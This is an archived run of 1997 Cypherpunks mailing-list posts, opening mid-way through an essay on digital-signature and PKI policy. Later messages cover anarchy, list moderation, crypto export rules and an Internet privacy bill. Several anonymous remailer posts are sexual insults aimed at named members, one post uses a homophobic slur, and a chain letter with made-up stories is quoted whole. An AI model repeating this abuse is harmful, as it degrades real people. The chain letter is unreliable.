receipts) are negotiable instruments, and this negotiable character
depends upon the existence of a single, irreproducible copy of the
document.  Thus, critics say, digital signature legislation should not
override all writing requirements without separately considering the
extent to which sound policy might require retention in specific
circumstances.

9.	How much evidentiary weight should a digitally-signed document
carry?

	Evidentiary  issues, though seemingly arcane and procedural, can
raise important public policy concerns.  For example, the Utah Act
creates a presumption that the person who owns a particular key pair
used to sign a document in fact did sign the document.  Holding an
individual presumptively bound by obligations entered into under their
digital signature could be inequitable if the individual is the victim
of the fraudulent use of such a signature.  This potential problem can
be compounded by the evidentiary weight assigned to digitally-signed
documents.  Under the Utah Act digitally-signed documents are accorded
the same evidentiary weight as notarized documents, and someone
challenging the authenticity of such a document can overcome the
presumption of authenticity only with "clear and convincing evidence"
(in contrast, one can overcome the presumption of validity of a paper
signature simply by denying that it is one's signature).  Critics of the
Utah Act's approach argue that providing digitally-signed documents with
this status creates unreasonable evidentiary burdens for victims of
fraud challenging the validity of electronic documents signed with the
victim's private key.

10.	Should governments act as CAs?

	Much of the currently enacted digital signature legislation
envisions state government agencies acting as "top level" certification
authorities who in turn certify a second tier of private sector CAs.  At
the federal level, the U.S. Postal Service has declared its intention to
act as a CA on a nationwide basis.  Should governments be acting in this
sort of role?  Critics say no, arguing that government involvement will
skew an emerging private sector CA marketplace.  Government actors may
face very different liability rules than private sector market
participants -- governments can choose to scale their potential
liability exposure through the doctrine of sovereign immunity. Thus,
critics argue, government CAs may "win" in the marketplace not because
they are more efficient or provide better service, but rather because
they can stack the rules in their favor. Proponents of government
involvement argue that governments can play an important role precisely
because they can create sensible ground rules for all PKI participants. 
Additionally, they note that governments have existing relationships
with all of their citizens, making the process of identification and
public key binding that much easier.

----------------------------------------------------------------------------
--------------

* Brad Biddle is the author of "Misplaced Priorities: The Utah Digital
Signature Act and Liability Allocation in a Public Key Infrastructure,"
which appears in Volume 33 of the San Diego Law Review, and serves as
Vice Chair of the Electronic Commerce Subcommittee of the American Bar
Association's Committee on the Law of Commerce in Cyberspace.  He is a
third-year law student at the University of San Diego and is a law clerk
in Cooley Godward LLP's San Diego office, where he served on the legal
team advising the Internet Law and Policy Forum's Working Group on
Certification Authority Practices.  He can be contacted by phone at
(619) 550-6301 or by e-mail at biddlecb@cooley.com.

_________________________________________________

_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Most obscure warning:
If you fork() without ever waiting on your children, you will accumulate
zombies.
-PERLFUNC man page





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 5 Feb 1997 23:31:47 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: John's: In anarchy -everyone responsible
In-Reply-To: <199702051611.JAA25482@infowest.com>
Message-ID: <32F9813B.29DC@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:
> on or about 970204:2343 jim bell <jimbell@pacifier.com> said:
> +At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote:
> +>    In a "popular" anarchy, Jim Bell's assassination politics make
> +>    perfectly good sense; but, a "popular" anarchy is not an _anarchy_.

> +I guess I don't understand the distinction you are trying to make,
> +between a  "popular anarchy" and an "anarchy."    Maybe you were trying
> +to distinguish  between "dictatorship of the few (or one)" and
> +"dictatorship of the many (perhaps a  majority)" but it didn't come out
> +very understandably. Put simply, "anarchy is not the lack of order.
> +It is the lack of _orders_."

>     disagree. pure anarchy is not the lack of "orders" --pure anarchy
>     implies that everyone is imbued with that perfect sense of responsibility.

I don't know where these implications come from. Start with a primitive
example, such as animals in the wild.  Is that a perfect anarchy?
Where do the differences come in for humans?  Are they neo-religious
perceptions, which could never find universal agreement?  Or are they
set in stone, in immutable, universal laws?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 5 Feb 1997 23:31:55 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Moderation [Tim,Sandy]
In-Reply-To: <wVRN2D4w165w@bwalk.dm.com>
Message-ID: <32F98300.78A1@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Dale Thorn <dthorn@gte.net> writes:

> > > > The drunk can be excluded, but when someone wants to use the drunk as
> > > > an example to escalate the exclusion to other persons who are not in
> > > > fact drunk, watch out!

> > > If I get really really drunk, which happens very seldom, then I'm
> > > too drunk to post. I don't mind an occasional beer, though.

> > > Oksas, have you ever tried beer? :-)

> > I had my first beer(s) in three years at one of those industrial
> > parties last night.  It made the craps table action seem a bit
> > merrier, and the girls were friendlier too.

> I like an occasional Coors Lite.  BTW I think Limey Faggots are right about
> one think: I like room-temperature beer better than cold beer. YMMV.

Interesting coincidence for people on opposite coasts - the bar at
the hotel had two choices:  Bud regular and Coors light.  I took the
Coors.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 5 Feb 1997 20:32:21 -0800 (PST)
To: Bovine Remailer <haystack@holy.cow.net>
Subject: Re: your mail
In-Reply-To: <199702060340.TAA11380@toad.com>
Message-ID: <Pine.GSO.3.95.970205232951.9844A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


Heh. On the ISP-TV show that Brock Meeks and I co-host, two weeks ago we
not only described how easy it was to modify a handheld radio, we had a
guest who demo'd cell-snooping on the air.

-Declan

On Wed, 5 Feb 1997, Bovine Remailer wrote:

> http://www.cnn.com
> 
> Congressman demonstrates
> ease of cell phone snooping
> 
>      
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 6 Feb 1997 00:37:33 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Deloitte-Touche, e$pam plug, Moderation, Cypherpunks as a cresote bush
In-Reply-To: <199702060340.TAA11393@toad.com>
Message-ID: <3.0.1.32.19970206001154.006c8e48@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:09 PM 2/5/97 -0500, Robert Hettinga wrote:

>In the meantime, if you're interested in e$, or financial crypto, or other
>stuff I'm interested ("it don't say e$pam until Bob says it says e$pam"
>:-)), you might want to check it.

I think that Bob's e$ list should be considered a viable alternative to the
other two filtered cpunks lists; I recommend it to people looking for a
moderated alternative to the list. (I get e$, but use Eudora and procmail to
suck out the duplicates where messages are copied from lists I already get.)
He also finds a lot of the stuff that used to show up on cpunks but doesn't
any more because people have wandered away.

I've been meaning to write up a long message explaining why I think I'm about
to drop off of the list. It's peculiar to spend a lot of time discussing
things with a group of people over the course of several years and then
disappear without saying why. But I'm having trouble coming up with anything
more profound than "it's not interesting any more." Philosophically, I agree
with Lucky - it looks to me like it's time to kill the list and move on to
other things. But that's not my choice to make, and perhaps other people can
still extract something useful from this. More power to them if they can.

I'm starting to think that cpunks may be similar to college, in that it's a
good thing for a few years, but if you stick around too long you just get
bitter and cranky and frustrated because the new people keep talking about
the same old problems. Don't they know we've already talked about that? 


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMvmSHP37pMWUJFlhAQGu3Qf/WTpImfcNb4883V2h/JHKsZh1hWR+hrSH
e7hgtUAujphktzteZi6NqC47QEQHRIbgT/SRHelDB4lJLPv3TtIN09ZUwK6GWb/F
QfmoyPXBVfM5Pt/FqPqtPpXnehC7r71SO0jQ2qKqTrhcuSDYNmOjtCrjK/BIEJ7l
mMYcxY7JKBq0H8u1BNzZaMfCkEvDytUejgsevusWGGfkwodUSTon81Kbxmy7Yg2w
3vOmESgMz2Vm2av2bHTYBy3CSy3JzB8m2OPQo+Wang6WJDfvJaDaALGuHgem8PH8
0jCjBww2vEOJ0xj62oQ/mD2heEe+TZZnDZ5ZRynID1wOOm7SOOOeAg==
=+SRl
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 5 Feb 1997 17:18:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: [CRYPTO] PGP
Message-ID: <199702060025.BAA06705@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[reep] May has been beaten up 
numerous times by fellow prostitutes for 
driving blow job prices down.

         (((>     /<
        (        /
         ((({{{{{:<
                 \
                  \<





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Wed, 5 Feb 1997 22:33:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: [NOISE] Sphere packing
Message-ID: <199702060633.WAA03735@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Dimwit Virus K[rust]OfTheMonth styles his facial hair to look
more like pubic hair.

   (___)
   (o o)_____/
    @@ `     \ Dimwit Virus K[rust]OfTheMonth
     \ ____, /
     //    //
    ^^    ^^






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Wed, 5 Feb 1997 23:17:24 -0800 (PST)
To: jimbell@pacifier.com (jim bell)
Subject: Re: John's: In anarchy -everyone responsible
In-Reply-To: <199702051526.HAA28775@toad.com>
Message-ID: <199702060735.BAA00273@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote:
> >on or about 970204:0312 Greg Broiles <gbroiles@netbox.com> said:
> >+   Is the desire for an anarchic community at odds with a desire for 
> >+   good use of resources?
> Actually, it is quite possible that an "anarchic community" is _more_ 
> efficient in the use of resources than some sort of organized community.    
> It is explained, for example, that the reason there are so many different 
> kinds of life on earth is that there are so many ecological niches to fill.  

     Good does not necessarily mean efficient, and efficient does not
necessarily mean good. 

    Picture--if you can--the "perfect" centrally planned economy where all
possible market conditions, wants and needs are taken into account. Factories
are placed optimally for access to natural resources and distribution to 
consumers etc. Also assume that the people running this society _are_ intersted
in efficient production methods, and activly look for new and better ways of 
getting things done--benign facism/socialism if you will. This would (assuming 
perfect people, but bear with me) be the _most efficient_ method of producing 
and delivering goods, but it would introduce certain "choke points", one 
natural disaster or war could cripple production of necessary items. 

    Picture anarchy, massively redundant, and resistent to this problem, while
probably not anywhere _near_ as efficient, this "system" would have the ability
to absorb damage and adapt more rapidly to changing enviroments. 

> No, that's traditional thinking and that's wrong.  See AP part 8.  Freud 
> believed (as "everyone" else believed, even myself, before AP) that anarchy 
> was inherently unstable.  But it ISN'T, if the tools of AP are used to 

     Stable is a relative thing. Are things stable now? If you think so, you
either aren't looking very hard, or you are giving "stable" a wide range.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Wed, 5 Feb 1997 22:36:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: [PGP] Cats out of bags
Message-ID: <199702060636.WAA03977@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Destitute Violent K[arcinogen]OTM is so in love with himself,
he cries out his own name when orgasming. Then again, no one
else is ever around.

    /\        /\
   +  \______/  +
      / .  . \
     <   /    >  Dr.Destitute Violent K[arcinogen]OTM
      \ \--/ /
       ------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: WIZZYH2H@aol.com
Date: Wed, 5 Feb 1997 23:10:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Tapping these resources.
Message-ID: <970206020431_716677637@emout17.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


I noticed that there are several programs that will let anyone send encrypted
email.

What about encrypted messages over a chat system like irc, chat rooms(aol,
BBS) and systemwide messages (IM, whisper, private message)?

The server wouldn't have to do anything except send the messages, the users
software could handel all the protocols and message identification.  Dialup
and logon features aren't needed either, allmost all cilents will let you
shell.

I have been looking for, and tring to write a program to do this, but Im a
rookie programmer and my attempts have yet to produce a functional
send/receive utility.

Where are programs like this.. are there any to be found? 

wizzyh2h@aol.com   OR     wizzy@juno.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 11 Feb 1997 05:05:04 -0800 (PST)
To: phr@netcom.com
Subject: Re: sci.crypt archive?
In-Reply-To: <199702102300.PAA06838@netcom19.netcom.com>
Message-ID: <199702060432.EAA00130@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Paul Rubin <phr@netcom.com> writes:
> Is anyone on cypherpunks archiving sci.crypt?  I'd be interested
> in getting hold of some articles from some years back... thanks

There is some one who archives it, it's up for ftp.  Look in the
sci.crypt FAQ, or do a web search to find the URL.  I grabbed a copy
for Remo Pini for the crypto CD, but I've lost the URL.

The Crypto CD (I have one) has Jan 92 to Sep 94 (articles 6871 to
32742) on it.  See http://www.rpini.com/ if you're interested.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 6 Feb 1997 07:09:11 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Deloitte-Touche, e$pam plug, Moderation, Cypherpunks as a  cresote bush
In-Reply-To: <3.0.1.32.19970206001154.006c8e48@mail.io.com>
Message-ID: <32F9F3C2.5922@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> At 09:09 PM 2/5/97 -0500, Robert Hettinga wrote:

> I've been meaning to write up a long message explaining why I think I'm about
> to drop off of the list. It's peculiar to spend a lot of time discussing
> things with a group of people over the course of several years and then
> disappear without saying why. But I'm having trouble coming up with anything
> more profound than "it's not interesting any more." Philosophically, I agree
> with Lucky - it looks to me like it's time to kill the list and move on to
> other things. But that's not my choice to make, and perhaps other people can
> still extract something useful from this. More power to them if they can.
> I'm starting to think that cpunks may be similar to college, in that it's a
> good thing for a few years, but if you stick around too long you just get
> bitter and cranky and frustrated because the new people keep talking about
> the same old problems. Don't they know we've already talked about that?

But college continues because it wasn't designed for just one group
of people of one time period.  It was designed for everyone, and to
evolve to meet future need. If the c-punks list were to survive, it
too would have to evolve to meet future needs, and that evolution
would be sure to disappoint a lot of the older crowd.

The big difference here is that college is far from cutting edge in
anything, and the list is (or could be) cutting edge.  But nearly
everyone so far has acknowledged that, despite improvement in signal-
to-noise on the moderated list, the factor of external control has
also removed much of what was interesting.  Remove the control and
incorporate the best of the suggestions that have been made so far,
and some of that interest may return.  Perhaps more importantly, if
the principals could see their way to mend some fences along the way,
that would restore even more confidence in the list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Thu, 6 Feb 1997 07:12:56 -0800 (PST)
To: Ben <ben@edelweb.fr>
Subject: Re: About: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <Pine.SUN.3.95.970206152156.14250a-100000@lanson.gctech.edelweb.fr>
Message-ID: <Pine.SUN.3.91.970206070646.20290U-100000@crl6.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Thu, 6 Feb 1997, Ben wrote:

> > > > User of the list, has no place to talk. His type, to me,
> > > > Characterate those who quit something and complain later,
> > > > Knowing that some people will listen to them.
> > > >
> > > > So what, if he decided to leave? It was his own choice
> > > > And he can't just come back and say everyone who stayed is
> > > > Now impelled to listen to him, just because he used to
> > > > Do a bunch of posts. I don't think that hardly any of
> > > > You would listened to me later if I left the list.
> > 
> >  I write good englich, but I write it verticaly, not horizontaly.
> > Try reading the above up-to-down, just the first letters of
> > each line.
> >  It may be kindegarten crypto, but it made it onto the censored
> > list.

Touche!  


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 6 Feb 1997 06:01:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
In-Reply-To: <199702060025.QAA07526@toad.com>
Message-ID: <ZVeP2D41w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> writes:

> Anil Das <das@sgi.com> writes:
>
> > Dr.Dimitri Vulis KOTM wrote:
> > >
> > > Learn to use an anonymous remailer.
> >
> > Thanks for the hint, Dr. Vulis. I have registered for a course, but
> > seats are available only in fall.
>
> Toilet seats in the state of free fall?
>
> The stego on Sandy's moderated list blows my mind...

And Sandy blows Sameer, and Greg blows John...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 6 Feb 1997 06:05:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation [Tim,Sandy]
In-Reply-To: <32F98300.78A1@gte.net>
Message-ID: <w4eP2D42w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > Dale Thorn <dthorn@gte.net> writes:
>
> > > > > The drunk can be excluded, but when someone wants to use the drunk as
> > > > > an example to escalate the exclusion to other persons who are not in
> > > > > fact drunk, watch out!
>
> > > > If I get really really drunk, which happens very seldom, then I'm
> > > > too drunk to post. I don't mind an occasional beer, though.
>
> > > > Oksas, have you ever tried beer? :-)
>
> > > I had my first beer(s) in three years at one of those industrial
> > > parties last night.  It made the craps table action seem a bit
> > > merrier, and the girls were friendlier too.
>
> > I like an occasional Coors Lite.  BTW I think Limey Faggots are right about
> > one think: I like room-temperature beer better than cold beer. YMMV.
>
> Interesting coincidence for people on opposite coasts - the bar at
> the hotel had two choices:  Bud regular and Coors light.  I took the
> Coors.

I remember when one had trouble getting Coors in NY: had something to do
with their giving $$ to the Nicaragua contras and upsetting the
politically correct distributors.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Thu, 6 Feb 1997 04:46:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702061227.HAA13082@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


bite your penis.

            /_/\/\
            \_\  / Tim C[reep] May
            /_/  \
            \_\/\ \
               \_\/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 6 Feb 1997 08:41:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks spread chain letters
In-Reply-To: <199702061331.IAA02343@dub-mail-svc-1.compuserve.com>
Message-ID: <cgJP2D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Now the punks are sending me "good luck" letters...

What a bunch of losers. No wonder they bend over for Gilmore.

>                        St. Jude
> 
>         Kiss someone you love when you get this letter and make magic.  This
> paper was sent to you for good luck.  The original copy is in New England.  I
> has been around the world nine times.  The Luck has been sent to you.  You
> will receive good luck in four days.  This is no joke.  You will receive it i
> the mail.  send copies to people that you think need good luck.  Don't send
> money as fate has no price.  Do not keep this letter.  It must leave your
> hands in 96 hours.  An Air Force officer received $70,000 in four days.  Joe
> Elliot received $40,000 and lost it because he broke the chain.  While in the
> Philippines, Gene Wolf lost his wife six days after receiving this letter.  H
> failed to circulate the letter.  However, before he death, she won $50,000 in
> a lottery.  The money was transferred to him four days after he decided to
> mail this letter.  Please make twenty copies of this letter and see what
> happens in four days.  The chain comes from South Venezuela and was written b
> Saint Anthony Decroc, a missionary from South America.  Since the copy must
> make a tour of the world, you must make twenty copies and send them to your
> friends and associates.  After a few days you will get a surprise.  This is
> true even though you are not superstitious.  So note the following: 
> Constantine Dens received the chain in 1958.  He asked his secretary to make
> twenty copies and send them out.  A few days later he won the lottery of 2
> million dollars.  Andy Doddit, and office employee, received a letter and
> forgot it had to leave his hands within 96 hours, he lost his job.  Later,
> after finding the letter again, he mailed out twenty copies.  A few days late
> he got a better job.
> Please send no money.  Please don't ignore this.  IT DOES WORK.
> 
> 
> 
>                        St. Jude
> 
>         Kiss someone you love when you get this letter and make magic.  This
> paper was sent to you for good luck.  The original copy is in New England.  I
> has been around the world nine times.  The Luck has been sent to you.  You
> will receive good luck in four days.  This is no joke.  You will receive it i
> the mail.  send copies to people that you think need good luck.  Don't send
> money as fate has no price.  Do not keep this letter.  It must leave your
> hands in 96 hours.  An Air Force officer received $70,000 in four days.  Joe
> Elliot received $40,000 and lost it because he broke the chain.  While in the
> Philippines, Gene Wolf lost his wife six days after receiving this letter.  H
> failed to circulate the letter.  However, before he death, she won $50,000 in
> a lottery.  The money was transferred to him four days after he decided to
> mail this letter.  Please make twenty copies of this letter and see what
> happens in four days.  The chain comes from South Venezuela and was written b
> Saint Anthony Decroc, a missionary from South America.  Since the copy must
> make a tour of the world, you must make twenty copies and send them to your
> friends and associates.  After a few days you will get a surprise.  This is
> true even though you are not superstitious.  So note the following: 
> Constantine Dens received the chain in 1958.  He asked his secretary to make
> twenty copies and send them out.  A few days later he won the lottery of 2
> million dollars.  Andy Doddit, and office employee, received a letter and
> forgot it had to leave his hands within 96 hours, he lost his job.  Later,
> after finding the letter again, he mailed out twenty copies.  A few days late
> he got a better job.
> Please send no money.  Please don't ignore this.  IT DOES WORK.
> 
> 
> 
> 


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Thu, 6 Feb 1997 07:43:02 -0800 (PST)
To: Rick Osborne <osborne@gateway.grumman.com>
Subject: Re: [RRE FWD] PKI: 10 Public Policy Questions
In-Reply-To: <199702060542.VAA13795@toad.com>
Message-ID: <Pine.SUN.3.95.970206104600.16583H-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain


For a more, um, nuanced view see
http://www.law.miami.edu/~froomkin/articles/trusted.htm

==
The above may have been dictated via Dragon Dictate 2.51 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 6 Feb 1997 08:21:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: NOW_ire
Message-ID: <1.5.4.32.19970206161614.006d1f2c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


2-5-97:

"FCC Bandwidth Forum Panelist Says Wireless Is Potential
'Wild Card' in Planning for Future Broadband Access"

   Suggests that wireless is the better than wire, cable, or satellite
   for future communications by bypassing their technological and 
   environmental limitations.

"GTE Wireless Launches Long-Anticipated CS-CDPD Service; Other
Cellular Carriers Continue to Reject Hybrid Approach"

   A variation from CDMA and TDMA.

-----

NOW_ire

And the FCC Broadband Forum report cited in the first article at:

   http://jya.com/fcc970123.htm  (322K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <usura@replay.com>
Date: Thu, 6 Feb 1997 02:34:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: pgpmail 4.5
Message-ID: <199702061031.LAA10437@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Huge Cajones Remailer sez:

: you wrote:

: There is a pgpmail45.exe at ftp.hacktic.nl/pub/replay/pub/incoming.
: The file has an md5 sum of 'ffd56d7647c30152a5c9fe7616a3d9ef'.

: i downloaded the same.  md5 5ea438501d0133f0849c2fe8f9125b6b
: can someone clear this up?

[usura@basement]:/pub/ftp/pub/crypto/incoming {22}$ md5 pgpmail45.exe
5ea438501d0133f0849c2fe8f9125b6b pgpmail45.exe 

--
-AJ-




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <ray@earthweb.com>
Date: Thu, 6 Feb 1997 08:45:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: True story, Fly the Obsfucted Skies (fwd)
Message-ID: <Pine.SOL.3.91.970206114532.27929A-100000@fox>
MIME-Version: 1.0
Content-Type: text/plain


---------- Forwarded message ----------
Date: Thu, 6 Feb 1997 00:18:18 -0500
From: Salvatore Denaro <sal@panix.com>
To: 'Ray Arachelian' <ray@earthweb.com>
Subject: True story, Fly the Obsfucted Skies

I was at the airport, checking in at the gate. An airport employee
asked me (and I quote)

 "Has anyone put anything in your baggage without your knowledge?"

I thought about it. I scratched my goatee. I said:

 "If it was without *my* knowledge... how would *I* know about it?"

He smiled. He nodded his head, knowingly. He then gave me this cryptic
reply,

 "That's why we ask."

-- 
Salvatore Denaro     "The only difference between me and a madman
sal@panix.com         is that I am not mad." -- Salvador Dali





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Lehmann (SSASyd)" <LEHMANNJ@saatchi.com.au>
Date: Wed, 5 Feb 1997 17:16:26 -0800 (PST)
To: "'cypher-punks'" <cypherpunks@toad.com>
Subject: British export restrictions?
Message-ID: <32F9412D@smtp.saatchi.com.au>
MIME-Version: 1.0
Content-Type: text/plain



Anyone know how the British govt. falls on crypto export legislation?

 --
John Lehmann





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 6 Feb 1997 09:28:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Blessing in Disguise? (H.R. 98, the "Consumer Internet PrivacyProtection Act of 1997")
Message-ID: <v0300780aaf1fbc3274d5@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



This attempted legislation (see forward, below) is a blessing in disguise.

It's just more proof that book-entry commerce isn't going to work on the
net in the long run.

SET looks like it's having problems with Japanese commerce rules, which is
another example of this problem.

Cash settlement between blinded pseudonyms fixes all of these problems.

I like to joke that if digital commerce is flight, then book entry
settlement is Boyle's Law, and cryptography is Bernoulli's law, viz,

+  Sending a credit card in the clear is jumping off a cliff. The height of
the cliff you jump off is related to the number of times you send an
unencrypted credit card number and the amount you charge.  Credit card
companies aren't going to be guaranteeing all those trades much longer if
they lose too much money.

+  First Virtual is a tethered balloon. You're up in the air, but you don't
know what for, because all the action is happening on the ground. ;-).

+  SET, Cybercash/coin, SSL, and other encrypted-channel book entry
methods, is a derigeble. You're flying, but you're using minimally strong
crypto like little aerodynamic fins to push the giant gas bag of book-entry
settlement around.

+  Digital bearer certificate technology, like ecash, or MicroMint, or
Millicent, is an airplane. It "flys" with "wings" of strong cryptography,
which gives us reputation capital and enforcement, and instantly settled
microintermediated transactions. Thus, like aerodynamic flight, it will be
faster, cheaper, and easier to use than book-entry "derigible" transaction
methods.


Cheers,
Bob Hettinga



--- begin forwarded text


Date:         Thu, 6 Feb 1997 11:24:09 EST
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         "Jonathan I. Ezor" <jezor@NEWMEDIALAW.COM>
Subject:      Congressional Bill worse for 'Net than CDA? (crosspost)
Comments: To: wwwac@echonyc.com, noend@laguna.taos.com, isales@mmgco.com,
          imarcom@internet.com
To:           CYBERIA-L@LISTSERV.AOL.COM

Sorry for the crossposting, but I felt this one might be important enough
to do it.  The following is a shortened version of an article I've written
for my firm's client newsletter about H.R. 98, the "Consumer Internet
Privacy Protection Act of 1997", introduced by Rep. Bruce Vento (D. MN) on
January 7, 1997.  As the article describes, if the bill were enacted as
drafted, Internet commerce could conceivably be stopped dead in its tracks,
along with most of the reduced-fee-for-demographics online services.
Privacy is quite important, and many of us have worked and are working
extremely hard to protect privacy appropriately while still providing
convenient services to users, but this bill is way beyond a reasonable
approach.  I haven't seen much discussion about this bill, but it's now in
committee, and the time to act may be upon us.  Feel free to
e-mail/call/fax/talk to me with any further questions.  I look forward to
your feedback.  {Jonathan}

Jonathan I. Ezor
New Media Attorney, Davis & Gilbert, 1740 Broadway, New York, NY 10019
Tel: 212-468-4989   Fax: 212-468-4888   E-mail: jezor@newmedialaw.com


-----------------------------Cut here-------------------------------

Congress Tackles Internet Privacy


        Recently, there has been significant press coverage over real and
rumored revelations of personal information such as Social Security numbers by
online services, including the alleged availability (later shown to be untrue)
of mothers' maiden names and Social Security numbers on LEXIS' P-Trak database,
and various governmental bodies have held hearings on issues of online privacy.
On January 7, 1997, Representative Bruce F. Vento (D. MN) introduced the
